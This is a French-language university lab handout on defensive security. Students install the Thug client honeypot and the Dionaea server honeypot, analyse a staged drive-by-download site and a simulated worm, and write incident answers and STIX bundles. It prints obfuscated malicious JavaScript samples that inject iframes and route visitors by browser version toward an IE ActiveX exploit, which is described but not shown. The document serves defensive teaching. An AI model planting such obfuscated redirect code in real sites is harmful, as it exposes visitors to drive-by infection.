Lutte Informatique Défensive
SOC, CERT et CTI

TP4 - Honeypots et LID Active

Objectifs de réalisation

Ce TP a pour objectif de se familiariser avec deux types de pots de miel: les pots de miel côté serveur et les pots de miel côté client.

En particulier, vous apprendrez

- à installer et configurer deux pots de miel (thug et dionaea);
- à les utiliser pour analyser les menaces à la sécurité;
- à étudier les attaques côtés clients qui se propagent en exploitant les vulnérabilités dans les navigateurs;
- à observer et étudier la propagation d'un ver et les attaques à distance sur vos serveurs.

Format du TP

Travail en groupe (2 ou 3 personnes par groupe) à réaliser sur 4h.

Pré-requis:

- VirtualBox
- Wireshark

Livrable

Le rapport devra être envoyé par email à l'adresse *georges.bossert@sekoia.fr* **à la fin de la séance de TP.**

Consignes

Partie 0 - Installation de votre environnement

1.1 Création d'une machine virtuelle Debian avec l'outil Vagrant

Vagrant est un logiciel libre et open-source pour la création et la configuration des environnements de développement virtuel. Il peut être considéré comme un *wrapper* autour de logiciels de virtualisation comme VirtualBox.

Dans le cadre de ce TP, nous allons utiliser Vagrant pour obtenir une machine virtuelle Debian installée et prête à l'emploi.

1.1.1 Installation de Vagrant

Sur une Ubuntu ou une Debian à jour, l'installation de vagrant se résume à l'exécution de la commande suivante :

```
$ sudo apt-get install vagrant
```

Si vous utilisez une autre distribution, utilisez votre package manager pour installer le package officiel Vagrant disponible sur: https://www.vagrantup.com/downloads.html.

Une fois installé, vérifiez le bon fonctionnement de Vagrant en affichant sa version tel qu'illustré ci-dessous.

```
$ vagrant -v
Vagrant 2.1.5
```

1.1.2 Création d'une machine virtuelle Debian en mode Desktop

Une fois Vagrant installé, déplacez vous dans le répertoire contenant les sources de votre TP.. Utilisez ensuite la commande vagrant pour créer la machine virtuelle.

```
$ cd tp4

$ vagrant up
```

Vous pouvez vérifier que la machine a bien été créé, en ouvrant VirtualBox.

Pour vous connecter à votre machine virtuelle, utilisez la commande suivante

```
$ vagrant ssh
```

La suite de ce TP sera réalisé dans cette nouvelle VM et non plus sur votre Host.

- Login : **vagrant**
- Mot de passe : **vagrant**

Partie 1 - Analyse d'une attaque d'un navigateur

Scénario 1 : vous menez une enquête sur un rapport d'incident relatif au comportement malveillant d'un site Web.

Cette partie de l'exercice utilisera le pot de miel de thug. Thug est un honeypot client à faible interaction axé sur la détection des pages Web malveillantes. Il émule le comportement votre navigateur Web typique. L'outil utilise le moteur de script Java V8 de Google et implémente son propre DOM (Document Object Model). Thug est écrit en Python et mis à disposition sous la licence publique générale GNU.

Installation de Thug

Pour simplifier l'installation du pot de miel, nous utiliserons une version sous docker.
Pour se faire, installer docker dans votre machine virtuelle en suivant la documentation officielle reprise ci-dessous:

- Update the apt package index:

```
$ sudo apt-get update
```

- Install packages to allow apt to use a repository over HTTPS:

```
$ sudo apt-get install \
        git \
        apt-transport-https \
        ca-certificates \
        curl \
        gnupg2 \
        software-properties-common
```

- Add Docker's official GPG key

```
 $ curl -fsSL https://download.docker.com/linux/debian/gpg | sudo
apt-key add -
```

- Verify that you now have the key with the fingerprint 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88, by searching for the last 8 characters of the fingerprint.

```
 $ sudo apt-key fingerprint 0EBFCD88

    pub   4096R/0EBFCD88 2017-02-22
          Key fingerprint = 9DC8 5822 9FC7 DD38 854A  E2D8 8D81
803C 0EBF CD88
    uid                  Docker Release (CE deb)
<docker@docker.com>
    sub   4096R/F273FCD8 2017-02-22
```

- Add the repository and install the debian package docker-ce

```
 $ sudo add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/debian \
   $(lsb_release -cs) \
   stable"

$ sudo apt-get update
$ sudo apt-get install docker-ce
```

Une fois docker installé, téléchargez le container public de Thug puis exécutez le avec la commande suivante:

```
$ sudo docker pull buffer/thug
$ sudo docker run -it --rm=True --network=host buffer/thug bash
```

Commencez votre analyse en ciblant l'url http://example.xmpl/ex1.html comme illustré par la commande suivante:

```
$ thug@b25d7ec887fe:~$ thug -F http://example.xmpl/ex1.html
[2019-01-27 17:21:06] [window open redirection] about:blank -> http://example.xmpl/ex1.html
[2019-01-27 17:21:06] [HTTP] URL: http://example.xmpl/ex1.html (Status: 200, Referer:
None)
[2019-01-27 17:21:06] [HTTP] URL: http://example.xmpl/ex1.html (Content-type: text/html,
MD5: 7b71a11653ed076af98815c4d79fdedb)
[2019-01-27 17:21:06] <iframe src="http://example.xmpl/ex2.html"></iframe>
```

[2019-01-27 17:21:06] [iframe redirection] http://example.xmpl/ex1.html -> http://example.xmpl/ex2.html
[2019-01-27 17:21:06] [HTTP] URL: http://example.xmpl/ex2.html (Status: 200, Referer: http://example.xmpl/ex1.html)
[2019-01-27 17:21:06] [HTTP] URL: http://example.xmpl/ex2.html (Content-type: text/html, MD5: b5c941675ca0bb61862bc621f4d21a84)
[2019-01-27 17:21:06] <iframe src="http://example.xmpl/ex3.html"></iframe>
[2019-01-27 17:21:06] [iframe redirection] http://example.xmpl/ex2.html -> http://example.xmpl/ex3.html
[2019-01-27 17:21:06] [HTTP] URL: http://example.xmpl/ex3.html (Status: 200, Referer: http://example.xmpl/ex2.html)
[2019-01-27 17:21:06] [HTTP] URL: http://example.xmpl/ex3.html (Content-type: text/html, MD5: 7a4ce2bf007450aa44dae3765be87091)
[2019-01-27 17:21:06] [Window] Alert Text: you are using Internet Explorer not 7
[2019-01-27 17:21:07] [document.write] Deobfuscated argument: <iframe src="http://example.xmpl/ex3.html"></iframe>
[2019-01-27 17:21:07] <iframe src="http://example.xmpl/ex3.html"></iframe>
[2019-01-27 17:21:07] [iframe redirection] http://example.xmpl/ex3.html -> http://example.xmpl/ex3.html
[2019-01-27 17:21:07] [HTTP] URL: http://example.xmpl/ex3.html (Status: 200, Referer: http://example.xmpl/ex2.html)
[2019-01-27 17:21:07] [HTTP] URL: http://example.xmpl/ex3.html (Content-type: text/html, MD5: 7a4ce2bf007450aa44dae3765be87091)
[2019-01-27 17:21:07] [Window] Alert Text: you are using Internet Explorer not 7
[2019-01-27 17:21:07] [document.write] Deobfuscated argument: <iframe src="http://example.xmpl/ex2.html"></iframe>
[2019-01-27 17:21:07] <iframe src="http://example.xmpl/ex2.html"></iframe>
[2019-01-27 17:21:07] [iframe redirection] http://example.xmpl/ex3.html -> http://example.xmpl/ex2.html
[2019-01-27 17:21:07] [HTTP] URL: http://example.xmpl/ex2.html (Status: 200, Referer: http://example.xmpl/ex1.html)
[2019-01-27 17:21:07] [HTTP] URL: http://example.xmpl/ex2.html (Content-type: text/html, MD5: b5c941675ca0bb61862bc621f4d21a84)
[2019-01-27 17:21:08] <iframe src="http://example.xmpl/ex3.html"></iframe>
[2019-01-27 17:21:08] [iframe redirection] http://example.xmpl/ex2.html -> http://example.xmpl/ex3.html
[2019-01-27 17:21:08] [HTTP] URL: http://example.xmpl/ex3.html (Status: 200, Referer: http://example.xmpl/ex2.html)
[2019-01-27 17:21:08] [HTTP] URL: http://example.xmpl/ex3.html (Content-type: text/html, MD5: 7a4ce2bf007450aa44dae3765be87091)
[2019-01-27 17:21:08] [Window] Alert Text: you are using Internet Explorer not 7

```
[2019-01-27 17:21:08] [document.write] Deobfuscated argument: <iframe
src="http://example.xmpl/ex3.html"></iframe>
[2019-01-27 17:21:08] <iframe src="http://example.xmpl/ex3.html"></iframe>
[2019-01-27 17:21:08] [iframe redirection] http://example.xmpl/ex3.html ->
http://example.xmpl/ex3.html
[2019-01-27 17:21:08] [HTTP] URL: http://example.xmpl/ex3.html (Status: 200, Referer:
http://example.xmpl/ex2.html)
[2019-01-27 17:21:08] [HTTP] URL: http://example.xmpl/ex3.html (Content-type: text/html,
MD5: 7a4ce2bf007450aa44dae3765be87091)
[2019-01-27 17:21:08] [Window] Alert Text: you are using Internet Explorer not 7
[2019-01-27 17:21:08] Thug analysis logs saved at
/tmp/thug/logs/edafe606e244823362675990fe56b5f1/20190127172106
```

Les informations les plus importantes sont notées en rouges. L'analyse indique qu'une *iframe* sur la première page (http://example.xmpl/ex1.hml) redirige sur http://example.xmpl/ex2.html Sur la page suivante (ex2.html), une autre iframe redirige vers http://example.xml/ex3.html. Lorsque le navigateur se connecte sur ex3.html, une alerte textuelle (alert-box) affiche "you are using Internet Explorer not 7".

Pour obtenir plus d'information sur ce qu'il se passe, il est nécessaire d'étudier les fichiers produits par thug.

Le listing ci-dessous détail le contenu de la première page (ex1.html).

```
thug@b25d7ec887fe:/tmp/thug/logs/[...]text/html$ cat
7b71a11653ed076af98815c4d79fdedb
<html>
Some legal content here
<script>
//suspicious JS
var
_0xd02b=["\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2
F\x2F\x65\x78\x61\x6D\x70\x6C\x65\x2E\x78\x6D\x70\x6C\x2F\x65\x78\x32\x2E\x68\x74\x6D
\x6C\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E","\x77\x72\x69\x74\x65"];document[_0x
d02b[1]](_0xd02b[0]);
</script>
</html>
```

Il s'agit d'un code javascript *packé* (http://www.honeynet.org/node/187).

QUESTION: Discutez le contenu après avoir désobfusqué le code JS.

Le listing ci-dessous détail le contenu de la deuxième page (ex2.html).

```
thug@b25d7ec887fe:/tmp/thug/logs/[...]text/html$ cat
b5c941675ca0bb61862bc621f4d21a84
<html>
<script>
//suspicious JS
if (/MSIE (\d+\.\d+);/.test(navigator.userAgent)){
 var ieversion=new Number(RegExp.$1)
 if (ieversion==7)
  document.write("<iframe src=\"http://example.xmpl/malicious.html\"></iframe>");
 else
  document.write("<iframe src=\"http://example.xmpl/ex3.html\"></iframe>");
}
else
 document.write("<iframe src=\"http://example.xmpl/ex4.html\"></iframe>");
</script>
</html>
```

QUESTION: Discutez le contenu de cette page.

Le listing ci-dessous illustre le contenu de la troisième page :

```
thug@b25d7ec887fe:/tmp/thug/logs/[...]text/html$ cat
7a4ce2bf007450aa44dae3765be87091
<html>
<script>
//suspicious JS
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+""
)[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$
:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.
__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$
.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")
[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.$$$+$.__$+$._$+$._+"\\"+$.$
__+$.___+$.$_$_+"\\"+$.__$+$.$$_+$._$_+$.$$$_+"\\"+$.$__+$.___+$._+"\\"+$.__$+$.$$_+
$._$$+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$__+$.$$$+"\\"+$.$__+
$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\\"+$.__$+$.$$_+$._$
_+"\\"+$.__$+$.$_$+$.$$_+$.$$$_+$.__+"\\"+$.$__+$.___+"\\"+$.__$+$.___+$.$_$+"\\"+$.__
$+$.$$$+$.___+"\\"+$.__$+$.$$_+$.___+(![]+"")[$._$_]+$._$+"\\"+$.__$+$.$$_+$._$_+$.$$$_
```

```
+"\\"+$.__$+$.$$_+$._$_+"\\"+$.$__+$.___+"\\"+$.__$+$.$_$+$.$$_+$._$+$.__+"\\"+$.$__+$
.___+$.$$$+"\\\"\\"+$.$__+$.___+");"+"\""))());
</script>
</html>
```

Il s'agit encore une fois d'un code JS obfusqué.

La commande suivante exécute thug avec un user-agent de visiteur Internet explorer 7.0 sous windows XP.

```
thug@b25d7ec887fe:~$ thug -F -u winxpie70 http://example.xmpl/ex1.html
```

Comme le montre les logs d'exécution de Thug, il s'agit d'un exploit ActiveX déclenché en JS qui cible une vulnérabilité dans Internet Explorer (MS06-014 et CVE2006-0003) pour télécharger et exécuter le fichier http://example.xmpl/malware.exe. N'hésitez pas à soumettre les différents fichiers à des outils d'analyses supplémentaires pour étudier leurs fonctionnement.

Le fichier malware.exe peut être analysés avec des services externes (par exemple: Virus Total). Il s'agit d'un fichier contenant une signature EICAR.

En conclusion, le site http://example.xmpl/ex1.html est malicieux lorsque la victime utilise le navigateur Internet Explorer 7. Réalisez différentes analyses pour observer le comportement de l'attaquant en fonction du navigateur utilisé.

QUESTIONS

1. **Le site web est-il malveillant ?**
2. **Comment l'attaque se déroule-t-elle ? Décrivez étape par étape l'attaque en utilisant un diagramme de flux.**
3. **Quels sont les noms de domaines exploitez dans cette attaque ?**
4. **Quels navigateurs sont visés ?**
5. **Quelles vulnérabilités sont exploitées et comment ?**
6. **Comment peut-on mitiger cette attaque ?**
7. **Produisez un bundle STIX 2.0 contenant la description de l'attaque pattern, de la vulnérabilité, de l'outil, des observed-data, des indicateurs, des identités et des contre-mesures que vous avez identifié.**

Scénario 2 : vous menez une enquête sur un rapport d'incident relatif au comportement malveillant d'un site Web.

À l'aide des outils et des connaissances acquises lors des tâches précédentes, analysez le site Web considéré comme malveillant dans le rapport d'incident suivant:

Incident Report #002: Suspicious official Coruscant web site

Who: Victoire Lesage (Hamel SAS CERT officer)

Date: 28 Jan 2019 14:07:53 +0200 (CEST)

Category: suspicious website

Incident Details:

Official web site of the Coruscant Empire has been probably hacked and serve malicious content. Please, check it.

URL: hxxp://www.coruscant.emp/main.html

-- Regards, Victoire Lesage Hamel SAS CERT officer

QUESTIONS: Votre analyse doit fournir les réponses aux questions suivantes:

1. **Le site web est-il malveillant ?**
2. **Comment l'attaque se déroule-t-elle ? Décrivez étape par étape l'attaque en utilisant un diagramme de flux.**
3. **Quels sont les noms de domaines exploitez dans cette attaque ?**
4. **Quels navigateurs sont visés ?**
5. **Quelles vulnérabilités sont exploitées et comment ?**
6. **Comment peut-on mitiger cette attaque ?**
7. **Produisez un bundle STIX 2.0 contenant la description de l'attaque pattern, de la vulnérabilité, de l'outil, des observed-data, des indicateurs, des identités et des contre-mesures que vous avez identifié.**

Partie 2 - Analyse d'une attaque d'un vers

IMPORTANT: Avant de commencer, éteignez le serveur web lancé dans votre VM en exécutant la commande suivante:

```
$ sudo systemctl stop apache2
```

Installation du pot de miel Dionaea

Dionaea, le successeur de Nepenthes 8, est un pot de miel à faible interaction. L'objectif principal du pot de miel est de collecter des logiciels malveillants. Il présente une architecture modulaire, incorporant Python en tant que langage de script afin d'émuler les protocoles.
Il est capable de détecter un shellcode en utilisant libemu et supporte IPv6 et TLS. Dionaea fonctionne dans un environnement restreint sans privilèges administratifs.

```
$ cd ~
$ git clone https://github.com/DinoTools/dionaea.git
$ sudo apt-get install \
        build-essential \
        check \
        cmake \
        cython3 \
        libcurl4-openssl-dev \
        libemu-dev \
        libev-dev \
        libglib2.0-dev \
        libloudmouth1-dev \
        libnetfilter-queue-dev \
        libnl-3-dev \
        libpcap-dev \
        libssl-dev \
        libtool \
        libudns-dev \
        python3 \
        python3-dev \
        python3-bson \
        python3-yaml \
```

```
        python3-boto3

$ cd dionaea
$ mkdir build
$ cd build
$ cmake -DCMAKE_INSTALL_PREFIX:PATH=/opt/dionaea ..
$ make
$ sudo make install
```

Dionaea est installé dans le répertoire `/opt/dionaea` et sa configuration est défini dans le répertoire `/opt/dionaea/etc/dionaea`

Les options de lancement de l'outil peuvent êtres affichées en utilisant la commande:

```
$ /opt/dionaea/bin/dionaea -h
```

En vous basant sur la documentation, listez les services disponibles et présentez le type de vulnérabilités qu'ils permettent d'émuler.

Important, modifier la configuration du module SMB pour simuler un serveur de type "Linux Samba 4.3.11"

La commande suivante permet d'exécuter dionaea en tâche de fond:

```
$ cd /opt/dionaea
$ sudo ./bin/dionaea -D
```

Vous pouvez ensuite suivre son exécution en affichant en continue son journal avec la commande:

```
$ tail -f /opt/dionaea/var/log/dionaea/dionaea.log
```

Scénario 3 : vous menez une enquête sur un rapport d'incident reçu par email

```
Incident Report #003

Who: SCV (from behalf of Internal Empire Network administrators)

Date: 28 Jan 2019  15:00:03 +0200 (CEST)

Category: Malicious software / infection

Incident Details:

We have detected an anomaly in the traffic on the Internal Empire
Network. This is probably a propagation of the new worm. We do not
have any details. Please, help us to determine which services are
being attacked.
```

Pour des raisons de simplicité, vous pouvez déclencher manuellement le lancement du vers en exécutant la commande suivante:

```
$ /vagrant/exercices/exercice2.2
```

Analysez le fichier de log (/opt/dionaea/var/log/dionaea.log) et identifiez les connections entrantes associées à d'éventuelles indicateurs d'attaques.

Le principal fichier de journalisation des détections est une base de données sqllite: /opt/dionaea/var/lib/dionaea/dionaea.sqllite

Pour afficher son contenu, vous pouvez utilisez un script python dédié à cet usage tel qu'illustré ci-dessous:

```
$ python2.7 ~/dionaea/modules/python/util/readlogsqltree.py -t $(date '+%s')-24*3600
/opt/dionaea/var/lib/dionaea/dionaea.sqlite
```

QUESTIONS: votre analyse doit fournir les réponses aux questions suivantes:

1. **Quelle vulnérabilité est ciblée ?**
2. **Quelle est la source de l'attaque ?**
3. **Il y a-t-il des fichiers envoyés par l'attaquant ? Si oui, decrivez ces fichiers.**

4. **Comment est-il possible de mitiger une telle attaque ?**
5. **Produisez un bundle STIX 2.0 contenant la description de l'attaque pattern, de la vulnérabilité, de l'outil, des observed-data, des indicateurs, des identités et des contre-mesures que vous avez identifié.**